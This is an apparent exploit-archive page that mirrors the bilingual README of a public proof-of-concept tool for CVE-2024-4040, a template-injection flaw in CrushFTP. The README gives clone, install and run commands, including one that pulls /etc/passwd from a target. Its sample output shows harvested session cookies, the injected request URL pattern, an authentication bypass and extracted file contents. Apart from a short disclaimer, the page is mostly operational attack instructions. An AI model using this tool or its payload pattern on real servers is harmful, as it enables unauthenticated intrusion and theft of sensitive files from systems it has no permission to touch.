Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-4040 PoC — Unauthenticated arbitrary file read and remote code execution in CrushFTP

Source
Associated Vulnerability
Title:Unauthenticated arbitrary file read and remote code execution in CrushFTP (CVE-2024-4040)
Description:A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.
Description
is a PoC for CVE-2024-4040 tool for exploiting the SSTI vulnerability in CrushFTP
Readme

# EN
**GenCrushSSTIExploit** is a PoC exploit tool targeting the `SSTI` (Server-Side Template Injection) vulnerability in CrushFTP `CVE-2024-4040`. This tool demonstrates how to exploit this vulnerability for educational and ethical hacking purposes only. 

## Features
- Establishes a session with the CrushFTP server to extract authentication cookies.
- Exploits the SSTI vulnerability to inject payloads.
- Attempts to bypass authentication and extract sensitive files from the server.
- Uses `rich` for beautiful and styled console output.

## Disclaimer
**⚠️ Use this tool responsibly! It is intended for research and educational purposes only. The author is not responsible for any misuse or damage caused by this tool.**


## Installation
### Prerequisites
- Python 3.7+
- `pip` (Python package installer)

### Clone the Repository
```bash
git clone https://github.com/geniuszly/GenCrushSSTIExploit
cd GenCrushSSTIExploit
```

### Install Required Packages
```bash
pip install -r requirements.txt
```

---

## Usage
### Basic Command
```bash
python GenCrushSSTIExploit.py -t <TARGET_URL>
```

- **`-t / --target`**: Specifies the target URL of the vulnerable CrushFTP server.

### Optional Parameters
- **`-l / --lfi`**: Local File Inclusion. Specifies the file to be included for extraction.
- **`-w / --wordlist`**: Specifies a wordlist for brute-forcing file paths.

## Example
```bash
python GenCrushSSTIExploit.py -t http://example.com -l /etc/passwd
```

## Example Output

```
★ Добро пожаловать в GenCrushSSTIExploit ★
CrushFTP SSTI PoC (CVE-2024-4040)
Автор: geniuszly
Использование: только для учебных и этических целей
--------------------------------------------------

[*] Подключение к ServerSessionAJAX...

[+] Успешно подключено к ServerSessionAJAX
[+] Куки CrushAuth: abc123def456ghi789
[+] Куки currentAuth: xyz987

[*] Попытка эксплуатации уязвимости SSTI...

[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={hostname}&names=/a

[+] Успешная эксплуатация уязвимости SSTI
[+] Ответ сервера: Hostname: example.com

[*] Попытка обхода аутентификации...

[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={working_dir}&names=/a

[+] Обход аутентификации успешен
[+] Извлечение /etc/passwd...
[+] Успешное извлечение /etc/passwd
[+] Извлеченное содержимое:
root:x:0:0:root:/root:/bin/bash
...
```

# RU
**GenCrushSSTIExploit** — это PoC инструмент эксплуатации уязвимости `SSTI` (Server-Side Template Injection) в CrushFTP `CVE-2024-4040`. Этот инструмент демонстрирует, как использовать данную уязвимость в образовательных и этических целях.

## Возможности
- Устанавливает сессию с сервером CrushFTP для извлечения куки аутентификации.
- Эксплуатирует уязвимость SSTI для внедрения полезных нагрузок.
- Пытается обойти аутентификацию и извлечь конфиденциальные файлы с сервера.
- Использует `rich` для красивого и стилизованного вывода на консоль.

## Отказ от ответственности
**⚠️ Используйте этот инструмент ответственно! Он предназначен только для исследований и образовательных целей. Автор не несет ответственности за любое неправильное использование или ущерб, причиненный этим инструментом.**


## Установка
### Предварительные требования
- Python 3.7+
- `pip` (менеджер пакетов Python)

### Клонирование репозитория
```bash
git clone https://github.com/geniuszly/GenCrushSSTIExploit
cd GenCrushSSTIExploit
```

### Установка необходимых пакетов
```bash
pip install -r requirements.txt
```

---

## Использование
### Основная команда
```bash
python GenCrushSSTIExploit.py -t <ЦЕЛЕВОЙ_URL>
```

- **`-t / --target`**: Указывает целевой URL уязвимого сервера CrushFTP.

### Дополнительные параметры
- **`-l / --lfi`**: Включение локального файла. Указывает файл для извлечения.
- **`-w / --wordlist`**: Указывает словарь для перебора путей к файлам.

## Пример
```bash
python GenCrushSSTIExploit.py -t http://example.com -l /etc/passwd
```

## Пример вывода

```
★ Добро пожаловать в GenCrushSSTIExploit ★
CrushFTP SSTI PoC (CVE-2024-4040)
Автор: geniuszly
Использование: только для учебных и этических целей
--------------------------------------------------

[*] Подключение к ServerSessionAJAX...

[+] Успешно подключено к ServerSessionAJAX
[+] Куки CrushAuth: abc123def456ghi789
[+] Куки currentAuth: xyz987

[*] Попытка эксплуатации уязвимости SSTI...

[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={hostname}&names=/a

[+] Успешная эксплуатация уязвимости SSTI
[+] Ответ сервера: Hostname: example.com

[*] Попытка обхода аутентификации...

[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={working_dir}&names=/a

[+] Обход аутентификации успешен
[+] Извлечение /etc/passwd...
[+] Успешное извлечение /etc/passwd
[+] Извлеченное содержимое:
root:x:0:0:root:/root:/bin/bash
...
```
File Snapshot

[4.0K] /data/pocs/cf113c4ceabe687bb68de637335754ac5bffc9f6 ├── [9.5K] GenCrushSSTIExploit.py ├── [1.0K] LICENSE ├── [6.1K] README.md └── [ 14] requirements.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →